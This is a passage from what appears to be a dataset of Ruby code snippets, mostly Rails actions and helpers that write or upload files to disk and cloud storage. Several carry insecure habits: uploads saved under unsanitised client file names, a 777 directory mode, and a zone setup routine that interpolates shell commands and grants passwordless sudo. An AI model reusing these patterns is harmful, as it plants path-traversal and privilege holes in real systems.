\"Uploading #{path} to #{bucket}/#{path}\"\n template = JSON.parse(File.open(path).read)\n\n @s3.put_object(\n acl: \"authenticated-read\",\n body: JSON.pretty_generate(template),\n bucket: bucket,\n key: path)\n end\n end", "def json_upload(content, credentials)\n upload('json', content, credentials)\n end", "def store_keys_in_file\n unless access_key.nil? || secret_access_key.nil?\n write_to_file( key_file_locations.first, YAML::dump({:access_key => access_key, :secret_access_key => secret_access_key})) \n end\n end", "def store_keys_in_file\n unless access_key.nil? || secret_access_key.nil?\n write_to_file( key_file_locations.first, YAML::dump({:access_key => access_key, :secret_access_key => secret_access_key})) \n end\n end", "def write_file(post_data)\n File.open(\"public/post_data.txt\",\"w\") do |f| # open the user.json file in the /public directory (create if not present)\n f.write(post_data) # add the hash to the JSON file and save it\n end\nend", "def bootstrap!\n root_file = Gem::TUF::File.new 'metadata/root.txt',\n Gem::TUF::Serialize.canonical(signed_root)\n\n targets = Gem::TUF::Role::Targets.empty\n targets_file = build_role 'targets', targets\n\n release = Gem::TUF::Role::Release.empty\n release.replace(targets_file)\n release.replace(root_file)\n release_file = build_role 'release', release\n\n timestamp = Gem::TUF::Role::Timestamp.empty\n timestamp.replace(release_file)\n timestamp_file = build_role 'timestamp', timestamp\n\n [root_file, targets_file, release_file].each do |file|\n bucket.create file.path_with_hash, file.body\n end\n bucket.create timestamp_file.path, timestamp_file.body\n end", "def create\n\n @upload = Upload.new(form_params)\n @upload.user = current_user\n\n add_breadcrumb SystemConfigFieldCustomization.find_by(table_name: 'uploads', action_name: 'new')&.label || \"Upload Template\"\n\n respond_to do |format|\n if @upload.save\n notify_user(:notice, \"File was successfully uploaded.\")\n # create a job to process this file in the background\n create_upload_process_job(@upload)\n\n format.html { redirect_to uploads_url }\n format.json { render :json => @upload, :status => :created, :location => @upload }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @upload.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @file_path = params[:file]\n if params[:stored_file].blank?\n @stored_file = StoredFile.new(name: @file_path.original_filename, path: @file_path.original_filename)\n else\n @stored_file = StoredFile.new(stored_file_params)\n end\n upload_ftp_file\n\n respond_to do |format|\n if @stored_file.save\n format.html { redirect_to @stored_file, notice: 'Stored file was successfully created.' }\n content = {}\n content[\"storage\"] = @stored_file\n content[\"replace\"] = @ftp_data\n render json: content\n else\n format.html { render :new }\n format.json { render json: @stored_file.errors, status: :unprocessable_entity }\n end\n end\n end", "def upload local_file_path, storage_file_path, encryption_key: nil\n unless @bucket.file storage_file_path\n @bucket.create_file local_file_path, storage_file_path,\n encryption_key: encryption_key\n end\n end", "def create_role_config\n template \"#{template_file}\", \"#{role_name}.json\"\n end", "def save_json_quiz(params)\n unless params[:filequiz] && (tmpfileQuiz = params[:filequiz][:tempfile]) && (nameQuiz = params[:filequiz][:filename])\n return haml(:upload)\n end\n #while blk = tmpfile.read(65536)\n File.open(File.join(Dir.pwd, \"uploads\", nameQuiz), \"wb\") { |f| f.write(tmpfileQuiz.read) }\n #end\n File.join(Dir.pwd, \"uploads\", nameQuiz)\n end", "def create\n # 获得客户端userid 和 project_id, securityclassid,\n params[:security][:project_id] = params['project']['projname']\n params[:security][:user_id] = params[:user][:username]\n params[:security][:securityclass_id] = params[:security_class][:securityclassname]\n file_temp = params[:img_file] \n params[:security][:securitydtl], params[:security][:file_path] = upload(file_temp, 'security')\n @security = Security.new(params[:security])\n\n respond_to do |format|\n if @security.save\n format.html { redirect_to @security, notice: 'Security was successfully created.' }\n format.json { render json: @security, status: :created, location: @security }\n else\n format.html { render action: \"new\" }\n format.json { render json: @security.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n uploaded_data = params[:timeline][:json_file]\n file_path = Rails.root.join('public', 'uploads', uploaded_data.original_filename)\n File.open(file_path, 'wb') do |file|\n file.write(uploaded_data.read)\n end\n\n @timeline = Timeline.new(\n :device_name => params[:timeline][:device_name],\n :test_name => params[:timeline][:test_name],\n :json_digest => view_context.parse(file_path))\n\n respond_to do |format|\n if @timeline.save\n format.html { redirect_to @timeline, notice: 'Timeline was successfully created.' }\n format.json { render json: @timeline, status: :created, location: @timeline }\n else\n format.html { render action: \"new\" }\n format.json { render json: @timeline.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # add validation to topic_id being an int and existing in database\n @upload = current_user.uploads.new(upload_params)\n\n # Set upload_file_size so the upload validator for monthly upload limits can take it into\n # consideration when saving the file. Perhaps there are better methods?\n @upload.upload_file_size = params[:filesize].to_i\n\n if @upload.valid?\n @upload.save\n jot = Jot.create_jot_from_upload(current_user.id, @upload.id, params[:topic_id].to_i)\n # @upload.postprocess_jot_update <-- used for local debugging\n ser_jot = JotSerializer.new(jot, :root => false, :scope => current_user)\n render :json => {:success => true, :jot => ser_jot} \n ap 'create done'\n else\n render :json => {:success => false, :errors => @upload.errors}, :status => :unprocessable_entity\n end\n\n end", "def create(filename, file, overwrite, category, source, type)\n # Create hierarchical directoy based on current time for\n # data lake organization.\n _time = Time.new\n # Adds 0 before digit if less than ten (03, 04, 10).\n if _time.month < 10\n _m = \"0#{_time.month}\"\n else\n _m = _time.month\n end\n if _time.day < 10\n _d = \"0#{_time.day}\"\n else\n _d = _time.day\n end\n\n _n_dir_path = \"/landing_zone/#{category}/#{source}/#{type}\"+\n \"/year=#{_time.year}/month=#{_m}/day=#{_d}/\"\n self.mkdir(_n_dir_path, 777)\n filename = \"#{_n_dir_path}/#{filename}\"\n\n # Execute request.\n response = HTTParty.put(\"https://#{accountName}.azuredatalakestore.net\" +\n \"/webhdfs/v1/#{filename}?op=CREATE\"+\n \"&overwrite=#{overwrite}\", {\n headers: {\n \"Authorization\" => \"Bearer #{bearerToken}\",\n \"Accept\" => \"*/*\",\n \"Cache-Control\" => 'no-cache',\n \"Host\" => \"#{accountName}.azuredatalakestore.net\",\n \"Connection\" => 'keep-alive',\n \"cache-control\" => 'no-cache',\n \"accept-encoding\" => 'gzip, deflate',\n \"referer\" => \"https://#{accountName}.azuredatalakestore.net\"+\n \"/webhdfs/v1/#{filename}?op=CREATE&overwrite=#{overwrite}\",\n },\n verify: true\n })\n\n chunk_size = 4 * 1024 * 1024\n count = 1\n until file.eof?\n puts \"uploading file_chunk #{count}\"\n file_chunk = file.read(chunk_size)\n append(filename, file_chunk)\n count += 1\n end\n\n puts \"the response has a code of #{response.code}\"\n puts \"File uploaded\"\n\n \n return response.code\n end", "def create\n # @configuration = ::Configuration.new(configuration_params)\n # @configuration.user_id = current_user.id\n # uploaded_io = params[:configuration][:slotconfiguration]\n # File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'wb') do |file|\n # file.write(uploaded_io.read)\n # end\n # @configuration.slotconfiguration = uploaded_io.original_filename\n #\n # respond_to do |format|\n # if @configuration.save\n # format.html { redirect_to @configuration, notice: 'Configuration was successfully created.' }\n # format.json { render :show, status: :created, location: @configuration }\n # else\n # format.html { render :new }\n # format.json { render json: @configuration.errors, status: :unprocessable_entity }\n # end\n # end\n ####\n @configuration = ::Configuration.new(configuration_params)\n @configuration.user_id = current_user.id\n uploaded_io = params[:configuration][:slotconfiguration]\n File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'wb') do |file|\n file.write(uploaded_io.read)\n end\n @configuration.slotconfiguration = uploaded_io.original_filename\n\n canCreate = true;\n if User.find(current_user.id).role.name != \"admin\"\n @permitedSites = Usersite.where(user_id: current_user.id)\n\n if @permitedSites.nil?\n canCreate = false;\n else\n canCreate = false;\n @permitedSites.each { |permited|\n if permited.site_id == @configuration.site_id\n if permited.add == \"1\"\n canCreate = true;\n end\n end\n }\n end\n\n end\n if canCreate\n respond_to do |format|\n if @configuration.save\n format.html { redirect_to @configuration, notice: 'Configuration was successfully created.' }\n format.json { render :show, status: :created, location: @configuration }\n else\n format.html { render :new }\n format.json { render json: @configuration.errors, status: :unprocessable_entity }\n end\n end\n else\n @Alert = \"Permission denied. Please contact administrator\"\n render :new\n end\n\n end", "def write\n return if PictureTag.site.config['disable_disk_cache']\n\n FileUtils.mkdir_p(File.join(base_directory, sub_directory))\n\n File.open(filename, 'w+') do |f|\n f.write JSON.generate(data)\n end\n end", "def create_uploaded_file\n Hyrax::UploadedFile.create(user: @user, file: local_file)\n end", "def create!\n\t\t\tClient.put @root\n\t\tend", "def upload_file(bucket_key,file_location,file_name,access_token)\n file_uploaded = File.new(file_location, 'rb')\n response = RestClient.put(\"#{API_URL}/oss/v2/buckets/#{bucket_key}/objects/#{file_name}\",\n file_uploaded,\n { Authorization: \"Bearer #{access_token}\", content_type:'application/octet-stream'})\n return response\nend", "def write!\n new_file = !File.exists?(path)\n File.open(path, File::CREAT | File::RDWR) do |file|\n file.flock(File::LOCK_EX)\n if !new_file && init_mtime != file.mtime\n file.rewind\n content.deep_merge!(\n MultiJson.load(\n file.read\n )\n )\n file.rewind\n end\n pos = file.write MultiJson.dump(content, :pretty => true)\n file.truncate(pos)\n end\n end", "def create(path, encoding: self.encoding, perm: self.perm, **opts, &block)\n path = full_path(path)\n opts = opts.merge(\n bucket: name,\n key: path,\n )\n opts[:acl] ||= @acl if @acl\n opts[:server_side_encryption] ||= @sse if @sse\n opts[:storage_class] ||= @storage_class if @storage_class\n\n BFS::Writer.new(path, encoding: encoding, perm: perm) do |t|\n File.open(t, encoding: encoding) do |file|\n @client.put_object(opts.merge(body: file))\n end\n end.perform(&block)\n end", "def create_json(json_contents)\n File.open('Puppetfile', 'w') do |file|\n file.write json_contents\n end\n end", "def create\n file_info = aw_params[:file]\n\n # file_directory = '/Users/ironyard/crg/aws/public/craig/'\n # new_file_path = file_directory + file_info.original_filename\n # File.open(new_file_path, \"wb\") do |f|\n # f.write(file_info.tempfile.read)\n # end\n\n\n\n @aw = Aw.new(aw_params)\n #@aw.update_attribute(:file, new_file_path)\n\n respond_to do |format|\n if @aw.save\n format.html { redirect_to @aw, notice: 'Aw was successfully created.' }\n format.json { render :show, status: :created, location: @aw }\n else\n format.html { render :new }\n format.json { render json: @aw.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_credentials\n FileUtils.mkdir_p(@local_credentials_dir)\n message \"Going to create the credentials.yml in #{@local_credentials_dir}\"\n if e.ask_to_overwrite_local(@local_credentials_file_yml)\n Spinner.return :message => \"Creating #{y('credentials.yml')}..\" do\n local_credentials_yml = File.new(@local_credentials_file_yml, \"w\")\n local_credentials_yml.write(yaml_template)\n local_credentials_yml.close\n g(\"Finished creating the credentials.yml\")\n end\n end \n end", "def upload\n # connected to upload.html.haml form\n # looks for :zernike in params, existence means file is attached\n # significant help from \"http://www.tutorialspoint.com/ruby-on-rails/rails-file-uploading.htm\"\n if params[:zernike]\n uploaded_file = params[:zernike][:attachment]\n file_name = uploaded_file.original_filename\n jsonified_file = uploaded_file.as_json[\"tempfile\"]\n extract_data = coefficients_extractor(jsonified_file)\n @file = extract_data\n \n if @file.nil? or @file.empty?\n flash[:warning] = \"Unable to upload file\"\n # made it a \"warning\" instead of \"notice\" so we can change the colors/text\n else\n flash[:notice] = \"File successfully uploaded!\"\n end\n \n redirect_to zernikes_path\n end\n \n # if not @file.nil?\n # byebug\n # end\n # self.content = [TEXT INSIDE test.txt]\n # @file = params[:file]\n # byebug\n # @zernike = Zernike.\n # if @zernike.save\n # flash[:notice] = \"File successfully uploaded!\"\n # redirect_to \n # else \n # flash[:notice] = \"Unable to upload file\"\n \n # byebug\n # @file = params[:file]\n # if @file.nil? or @file.empty? \n # flash[:notice] = \"File is empty!\"\n # else \n # flash[:notice] = \"File successfully uploaded!\"\n # end\n \n end", "def upload_file(f)\n # grabs the compiled asset from public_path\n full_file_path = File.join(File.dirname(@manifest.dir), f)\n one_year = 31557600\n mime = Rack::Mime.mime_type(File.extname(f)) \n file = {\n :key => f,\n :public => true,\n :content_type => mime,\n :cache_control => \"public, max-age=#{one_year}\",\n :expires => CGI.rfc1123_date(Time.now + one_year) \n }\n\n gzipped = \"#{full_file_path}.gz\" \n\n if File.exists?(gzipped)\n original_size = File.size(full_file_path)\n gzipped_size = File.size(gzipped)\n\n if gzipped_size < original_size\n file.merge!({\n :body => File.open(gzipped),\n :content_encoding => 'gzip'\n })\n log \"Uploading #{gzipped} in place of #{f}\"\n else\n file.merge!({\n :body => File.open(full_file_path)\n })\n log \"Gzip exists but has larger file size, uploading #{f}\"\n end\n else\n file.merge!({\n :body => File.open(full_file_path)\n })\n log \"Uploading #{f}\"\n end\n # put in reduced redundancy option here later if desired\n\n file = bucket.files.create( file )\n end", "def create\n enforce_permissions!('edit', params[:object_id])\n\n file_upload = upload_from_params\n @object = retrieve_object! params[:object_id]\n if @object.nil?\n flash[:notice] = t('dri.flash.notice.specify_object_id')\n return redirect_to controller: 'catalog', action: 'show', id: params[:object_id]\n end\n preservation = params[:preservation].presence == 'true' ? true : false\n @generic_file = build_generic_file(object: @object, user: current_user, preservation: preservation)\n\n file_content = GenericFileContent.new(user: current_user, object: @object, generic_file: @generic_file)\n begin\n @object.increment_version\n\n if file_content.add_content(file_upload)\n flash[:notice] = t('dri.flash.notice.file_uploaded')\n record_version_committer(@object, current_user)\n file_content.characterize if file_content.has_content?\n else\n message = @generic_file.errors.full_messages.join(', ')\n flash[:alert] = t('dri.flash.alert.error_saving_file', error: message)\n @warnings = t('dri.flash.alert.error_saving_file', error: message)\n logger.error \"Error saving file: #{message}\"\n end\n rescue DRI::Exceptions::MoabError => e\n flash[:alert] = t('dri.flash.alert.error_saving_file', error: e.message)\n @warnings = t('dri.flash.alert.error_saving_file', error: e.message)\n logger.error \"Error saving file: #{e.message}\"\n end\n\n respond_to do |format|\n format.html { redirect_to controller: 'my_collections', action: 'show', id: params[:object_id] }\n format.json do\n response = { checksum: file_content.checksum }\n response[:warnings] = @warnings if @warnings\n\n render json: response, status: :created\n end\n end\n end", "def save(file, path)\n file = File.open(file.path)\n\n directory = connection.directories.get(self.bucket)\n directory ||= connection.directories.create(self.permissions.merge(:key => self.bucket))\n\n directory.files.create(self.options(path).merge(self.permissions.merge(:key => path, :body => file)))\n\n file.close\n end", "def upload\n\n #http://www.dropzonejs.com/\n session[:current_folder] = params[:folder_id]\n uploaded_file = params[:file]\n folder = params[:folder_id]\n mixpanel_tab_event(\"My Vault\", \"Upload File\")\n\n # upload file to box from tmp folder\n temp_file = File.open(Rails.root.join('tmp', uploaded_file.original_filename), 'wb')\n begin\n temp_file.write(uploaded_file.read)\n temp_file.close\n box_user = Box.user_client(session[:box_id])\n box_file = box_user.upload_file(temp_file.path, folder)\n\n rescue => ex\n puts ex.message\n ensure\n File.delete(temp_file)\n end\n\n flash[:notice] = \"Successfully Uploaded!\"\n respond_to do |format|\n format.json{ render :json => {} }\n end\n end", "def create\n file = params[:file_store][:file]\n file_store = FileStore.new\n file_store.sha1_hash = Digest::SHA1.file(file.path).hexdigest\n file_store.file = file\n file_store.user_id, file_store.user_uname = user['id'], user['uname']\n\n if file_store.save\n File.delete file.path\n render json: { sha1_hash: file_store.sha1_hash }, status: :created\n else\n render json: file_store.errors, status: :unprocessable_entity\n end\n end", "def Upload file\n \n APICall(path: \"uploads.json?filename=#{file.split('/').last}\",method: 'POST',payload: File.read(file))\n \n end", "def install\n File.open(Keys.install_filename, \"w\") do |f|\n f.write({\n ACCESS_KEY => self.access_key_id,\n SECRET_KEY => self.secret_key\n }.to_yaml)\n end\n Pathname.new(Keys.install_filename).chmod(0600)\n end", "def save\n if (file && api_key)\n self._upload(api_key, file)\n end\n super\n end", "def create\n\n if Key.where(role: \"admin\").pluck(:key).include? params[:key]\n\n @flatfile = Flatfile.new(flatfile_params)\n\n if @flatfile.save\n render json: @flatfile, status: :created # , location: @flatfile # Don't need this location argument, since we don't want to redirect, see here: https://stackoverflow.com/questions/56917332/how-to-stop-redirect-after-post-create-in-rails-api-nomethoderror-undefined-m\n # https://stackoverflow.com/questions/23582389/rails-nomethoderror-undefined-method-url-for-controller-i-cant-seem-to-res\n \n else\n render json: @flatfile.errors, status: :unprocessable_entity\n end\n\n else \n render json: \"Unauthorized\"\n end # End key if statement\n\n end", "def upload_file\n #TODO\n end", "def store!(file_path)\n\n filename = File.basename(file_path)\n file = File.open(file_path, 'r')\n\n object_name = \"#{Date.today.strftime('%Y-%m-%d')}_#{filename}\"\n object = container.create_object(object_name)\n object.write(file)\n\n file.close\n\n puts \" -> Stored #{file_path} as #{object_name}\"\n\n end", "def store\n credentials = ask_for_credentials\n\n ovewrite = if File.exist?(credentials_file)\n GoodData::CLI.terminal.ask(\"Overwrite existing stored credentials (y/n)\")\n else\n 'y'\n end\n\n if ovewrite == 'y'\n File.open(credentials_file, 'w', 0600) do |f|\n f.puts JSON.pretty_generate(credentials)\n end\n else\n puts 'Aborting...'\n end\n end", "def create\n upload_file\n @policy = Policy.new(:filename => @policy_io.original_filename)\n\n respond_to do |format|\n if @policy.save\n format.html { redirect_to @policy, notice: 'Policy was successfully created.' }\n # format.json { render :show, status: :created, location: @policy }\n else\n format.html { render :new }\n # format.json { render json: @policy.errors, status: :unprocessable_entity }\n end\n end\n end", "def validate_and_upload_config_jar_contents(custom_dir_full_path, config_name)\n Dir.chdir(\"#{custom_dir_full_path}\")\n Chef::Log.info(\"current directory - [#{Dir.getwd}]\")\n solrconfig_files = File.join(\"**\",\"solrconfig.xml\")\n possible_subdirs = Array.new()\n Dir.glob(solrconfig_files).each do |solrconfig_file|\n Chef::Log.info(\"Find parent directory for the file #{solrconfig_file}\")\n parent_dir = File.dirname(solrconfig_file)\n Dir.chdir(\"#{parent_dir}\")\n important_objects = 0\n Chef::Log.info(\"parent directory - [#{Dir.getwd}]\")\n if Dir.glob(File.join(\"managed-schema\")).empty?\n if Dir.glob(File.join(\"schema.xml\")).empty?\n Chef::Log.warn(\"Neither schema.xml nor managed-schema file is present. Cannot upload this configuration to zookeeper.\")\n else\n schema_file_name = \"schema.xml\"\n important_objects += 1\n Chef::Log.info(\"schema.xml file is present\")\n end\n else\n schema_file_name = \"managed-schema\"\n important_objects += 1\n Chef::Log.info(\"managed-schema file is present\")\n if parent_dir == \".\"\n validate_schema_fields(\"#{custom_dir_full_path}/#{schema_file_name}\")\n else\n validate_schema_fields(\"#{custom_dir_full_path}/#{parent_dir}/#{schema_file_name}\")\n end\n end\n # Deleting META-INF folder locally on the compute to avoid uploading to ZK while uploading solr config\n if directoryExists?(\"META-INF\")\n begin\n FileUtils.rm_rf(\"META-INF\")\n rescue Exception => msg\n Chef::Log.error(\"Error while deleting the directory META-INF recursively : #{msg}\")\n end\n end\n\n # if Dir.glob(File.join(\"META-INF\")).empty?\n # Chef::Log.warn(\"META-INF directory does not exist.\")\n # else\n # important_objects += 1\n # Chef::Log.info(\"META-INF directory exists in the directory - [#{parent_dir}]\")\n # end\n # File.join(\"**\",\"lang\", \"**\") -- Check whether lang directory has some files. This returns empty when the lang directory do not contain files and also if it is present as a file.\n # So, In case if it returns empty then logs an message and will not consider the parent directory as a valid directory.\n # if Dir.glob(File.join(\"**\",\"lang\", \"**\")).empty?\n # Chef::Log.warn(\"lang directory is empty.\")\n # else\n # important_objects += 1\n # Chef::Log.info(\"lang directory exists in the directory - [#{parent_dir}]\")\n # end\n if (important_objects == 1)\n Chef::Log.info(\"Found all required configration file in the directory -- #{parent_dir}\")\n possible_subdirs.push(parent_dir)\n end\n Dir.chdir(\"#{custom_dir_full_path}\")\n end\n if (possible_subdirs.length == 0)\n Chef::Log.raise(\"No directory found that contains Solr's configuration files like solrconfig.xml etc. Cannot upload to zookeeper\")\n end\n if (possible_subdirs.length > 1)\n Chef::Log.raise(\"Several directories found that contains Solr's configuration files like solrconfig.xml etc. Cannot determine which one to upload to zookeeper. [ #{possible_subdirs} ]\")\n end\n node.set['config_sub_dir'] = \"#{possible_subdirs[0]}\"\n\n if node['config_sub_dir'] == \".\"\n uploadCustomConfig_without_bash_resource(node['solr_version'][0,1], node['zk_host_fqdns'], config_name, custom_dir_full_path)\n else\n uploadCustomConfig_without_bash_resource(node['solr_version'][0,1], node['zk_host_fqdns'],config_name, \"#{custom_dir_full_path}/#{node['config_sub_dir']}\")\n end\n\n end", "def create_file(name, data = nil)\n @caldav_backend.create_scheduling_object(@principal_uri, name, data)\n end", "def upload(auth_token, file_path, ticket_id, end_point)\n params = {\n :auth_token => auth_token,\n :ticket_id => ticket_id\n }\n params[:api_sig] = generate_api_sig params\n \n params.merge!({ :file_data => File.open(file_path) })\n \n client = HTTPClient.new\n response = client.post(end_point, params)\n md5 = response.content\n\n self.class.create_json_manifest(md5)\n end", "def standard_zone_post_install(options)\n options['zonedir'] = options['zonedir']+\"/\"+options['name']\n if File.directory?(options['zonedir'])\n options['clientdir'] = options['zonedir']+\"/root\"\n tmp_file = \"/tmp/zone_\"+options['name']\n admin_username = options['q_struct']['admin_username'].value\n admin_uid = options['q_struct']['admin_uid'].value\n admin_gid = options['q_struct']['admin_gid'].value\n admin_crypt = options['q_struct']['admin_crypt'].value\n root_crypt = options['q_struct']['root_crypt'].value\n admin_fullname = options['q_struct']['admin_description'].value\n admin_home = options['q_struct']['admin_home'].value\n admin_shell = options['q_struct']['admin_shell'].value\n passwd_file = options['clientdir']+\"/etc/passwd\"\n shadow_file = options['clientdir']+\"/etc/shadow\"\n message = \"Checking:\\tUser \"+admin_username+\" doesn't exist\"\n command = \"cat #{passwd_file} | grep -v '#{admin_username}' > #{tmp_file}\"\n execute_command(options,message,command)\n message = \"Adding:\\tUser \"+admin_username+\" to \"+passwd_file\n admin_info = admin_username+\":x:\"+admin_uid+\":\"+admin_gid+\":\"+admin_fullname+\":\"+admin_home+\":\"+admin_shell\n command = \"echo '#{admin_info}' >> #{tmp_file} ; cat #{tmp_file} > #{passwd_file} ; rm #{tmp_file}\"\n execute_command(options,message,command)\n print_contents_of_file(options,\"\",passwd_file)\n info = IO.readlines(shadow_file)\n file = File.open(tmp_file,\"w\")\n info.each do |line|\n field = line.split(\":\")\n if field[0] != \"root\" and field[0] != \"#{admin_username}\"\n file.write(line)\n end\n if field[0].to_s.match(/root/)\n field[1] = root_crypt\n copy = field.join(\":\")\n file.write(copy)\n end\n end\n output = admin_username+\":\"+admin_crypt+\":::99999:7:::\\n\"\n file.write(output)\n file.close\n message = \"Information:\\tCreating shadow file\"\n command = \"cat #{tmp_file} > #{shadow_file} ; rm #{tmp_file}\"\n execute_command(options,message,command)\n print_contents_of_file(options,\"\",shadow_file)\n client_home = options['clientdir']+admin_home\n message = \"Information:\\tCreating SSH directory for \"+admin_username\n command = \"mkdir -p #{client_home}/.ssh ; cd #{options['clientdir']}/export/home ; chown -R #{admin_uid}:#{admin_gid} #{admin_username}\"\n execute_command(options,message,command)\n # Copy admin user keys\n rsa_file = admin_home+\"/.ssh/id_rsa.pub\"\n dsa_file = admin_home+\"/.ssh/id_dsa.pub\"\n key_file = client_home+\"/.ssh/authorized_keys\"\n if File.exist?(key_file)\n system(\"rm #{key_file}\")\n end\n [rsa_file,dsa_file].each do |pub_file|\n if File.exist?(pub_file)\n message = \"Information:\\tCopying SSH public key \"+pub_file+\" to \"+key_file\n command = \"cat #{pub_file} >> #{key_file}\"\n execute_command(options,message,command)\n end\n end\n message = \"Information:\\tCreating SSH directory for root\"\n command = \"mkdir -p #{options['clientdir']}/root/.ssh ; cd #{options['clientdir']} ; chown -R 0:0 root\"\n execute_command(options,message,command)\n # Copy root keys\n rsa_file = \"/root/.ssh/id_rsa.pub\"\n dsa_file = \"/root/.ssh/id_dsa.pub\"\n key_file = options['clientdir']+\"/root/.ssh/authorized_keys\"\n if File.exist?(key_file)\n system(\"rm #{key_file}\")\n end\n [rsa_file,dsa_file].each do |pub_file|\n if File.exist?(pub_file)\n message = \"Information:\\tCopying SSH public key \"+pub_file+\" to \"+key_file\n command = \"cat #{pub_file} >> #{key_file}\"\n execute_command(options,message,command)\n end\n end\n # Fix permissions\n message = \"Information:\\tFixing SSH permissions for \"+admin_username\n command = \"cd #{options['clientdir']}/export/home ; chown -R #{admin_uid}:#{admin_gid} #{admin_username}\"\n execute_command(options,message,command)\n message = \"Information:\\tFixing SSH permissions for root \"\n command = \"cd #{options['clientdir']} ; chown -R 0:0 root\"\n execute_command(options,message,command)\n # Add sudoers entry\n sudoers_file = options['clientdir']+\"/etc/sudoers\"\n message = \"Information:\\tCreating sudoers file \"+sudoers_file\n command = \"cat #{sudoers_file} |grep -v '^#includedir' > #{tmp_file} ; cat #{tmp_file} > #{sudoers_file}\"\n execute_command(options,message,command)\n message = \"Information:\\tAdding sudoers include to \"+sudoers_file\n command = \"echo '#includedir /etc/sudoers.d' >> #{sudoers_file} ; rm #{tmp_file}\"\n execute_command(options,message,command)\n sudoers_dir = options['clientdir']+\"/etc/sudoers.d\"\n check_dir_exists(options,sudoers_dir)\n sudoers_file = sudoers_dir+\"/\"+admin_username\n message = \"Information:\\tCreating sudoers file \"+sudoers_file\n command = \"echo '#{admin_username} ALL=(ALL) NOPASSWD:ALL' > #{sudoers_file}\"\n execute_command(options,message,command)\n else\n handle_output(options,\"Warning:\\tZone #{options['name']} doesn't exist\")\n quit(options)\n end\n return\nend", "def generate_configuration_info_files\n provider_file = Configuration.provider_path(@configuration_path)\n template_file = Configuration.template_path(@configuration_path)\n registry_path = Configuration.registry_path(@configuration_path)\n File.open(provider_file, 'w') { |f| f.write('dedicated') }\n File.open(template_file, 'w') { |f| f.write(File.expand_path(@env.template_file)) }\n @registry.save_registry(registry_path)\n SshUser.save_to_file(@ssh_users, @configuration_path)\n end", "def user_file_create\n course = notey_notey_params['course']\n file = notey_notey_params['file']\n username = notey_notey_params['username']\n\n uri = \"/notebooks/#{username}_#{course}_#{file}\"\n base_file = \"/notebooks/#{course}_#{file}\"\n\n if File.exist?(base_file)\n File.open(base_file, 'rb') do |input|\n File.open(uri, 'wb') do |output|\n while (buff = input.read(4096))\n output.write(buff)\n end\n end\n end\n else\n render json: { result: false }\n end\n render json: { result: true }\n end", "def save\n path = UPLOADS_DIR.join(archive.original_filename)\n File.open(path, 'w') do |file| \n file.write(archive.read)\n end\n if backend = Instance.backend\n backend.deploy path\n end\n end", "def auth!\n # first call b2_authorize_account to get an account_auth_token\n # this has to stick around because it has various important data\n b2_authorize_account\n\n unless body_wrap.allowed.capabilities.include? 'writeFiles'\n raise \"app_key #{app_key} does not have write access to account #{account_id}\"\n end\n end", "def create\n files = params[:files]\n\n files.each do |file|\n\n filename = file.original_filename\n\n # Rack uploads have `#tempfiles` and test uploads are Tempfile objects. More\n # investigation required.\n file = file.tempfile if file.respond_to?(:tempfile)\n\n UploadStore.create(\n :key => filename,\n :body => file,\n :public => true\n )\n end\n\n render json: {status: 'success'}\n end", "def upload\n create_document\n \n render_upload\n end", "def create\n if @file = Spraycan::File.where(:name => params[:file][:file].original_filename).first\n @file.destroy\n @file = @theme.files.create params[:file]\n else\n @file = @theme.files.create params[:file]\n end\n\n if !@file.new_record?\n if params.key? :preference\n Spraycan::Config.send \"#{params[:preference]}=\", @file.guid\n end\n\n render :json => {:id => @file.id, :guid => @file.guid, :url => @file.url }.to_json\n else\n render :json => {:id => false }.to_json\n end\n end", "def create\n @image = Image.new(image_params)\n respond_to do |format|\n if @image.save\n Image.generate_file(@image.name,@image.postgres,@image.redis,@image.nginx,@image.ruby_ver,current_user,@image.mysql)\n dpath=File.join(Rails.root,\"/public/uploads/user/dockerfile/\"+current_user.id.to_s+\"/Dockerfile\")\n cpath=File.join(Rails.root,\"/public/uploads/user/composefile/\"+current_user.id.to_s+\"/docker-compose.yml\")\n rpath=File.join(Rails.root,\"/public/readme.txt\")\n zipfile=File.join(Rails.root,\"/public/\"+@image.name+\".zip\")\n # send_file(dpath,:filename => \"Dockerfile\", :disposition => \"attachment\")\n\n Zip::File.open(zipfile,Zip::File::CREATE) do |zip|\n zip.add(\"docker-compose.yml\",cpath)\n zip.add(\"Dockerfile\",dpath)\n zip.add(\"readme.txt\",rpath)\n end\n # send_file(\"../../files/\",:filename => i.to_s)\n format.html { redirect_to @image, notice: 'Image was successfully created.' }\n format.json { render :show, status: :created, location: @image }\n else\n format.html { render :new }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "def run\n check_files_exist\n\n file_metadata = UploadFilesMetadataBuilder.build(files: files, mime_types: mime_types, basepath: basepath)\n upload_responses = UploadFiles.upload(file_metadata: file_metadata,\n filepath_map: filepath_map,\n logger: logger,\n connection: connection)\n metadata_builder = MetadataBuilder.new(metadata: metadata,\n grouping_strategy: grouping_strategy,\n file_set_type_strategy: file_set_type_strategy,\n logger: logger)\n request = metadata_builder.with_uploads(upload_responses)\n model = Cocina::Models.build_request(request.as_json.with_indifferent_access)\n CreateResource.run(accession: @accession,\n priority: @priority,\n assign_doi: @assign_doi,\n metadata: model,\n logger: logger,\n connection: connection)\n end", "def upload(src,name)\n sudo \"mkdir -p #{god_confd}\"\n utilities.sudo_upload_template src, \"#{god_confd}/#{name}\"\n end", "def create_credentials\n post_url = URI(\"http://#{FBPi::Settings.meshblu_url}/devices\")\n res = Net::HTTP.post_form(post_url, {})\n json = JSON.parse(res.body).deep_symbolize_keys\n File.open(credentials_file, 'w+') { |file| file.write(json.to_yaml) }\n load_credentials\n json\n end", "def create\n @owner = owner_from_request || current_user\n @service_template = @owner.service_templates.new(service_template_params)\n\n\n if !ServiceTemplatePolicy.new(current_user, @service_template, @owner).create?\n raise Pundit::NotAuthorizedError, \"not allowed to create? this #{@service_template.inspect}\"\n end\n\n respond_to do |format|\n if @service_template.save\n audit(@service_template, \"create\", @service_template.name)\n current_user.access_resource(@service_template, :admin)\n audit(@service_template, \"grant\", @service_template.name + \" to user #{current_user.display} admin permission\")\n\n if @owner.is_a?(Group)\n @owner.access_resource(@service_template, :admin)\n audit(@service_template, \"grant\", @owner.name + \" to user 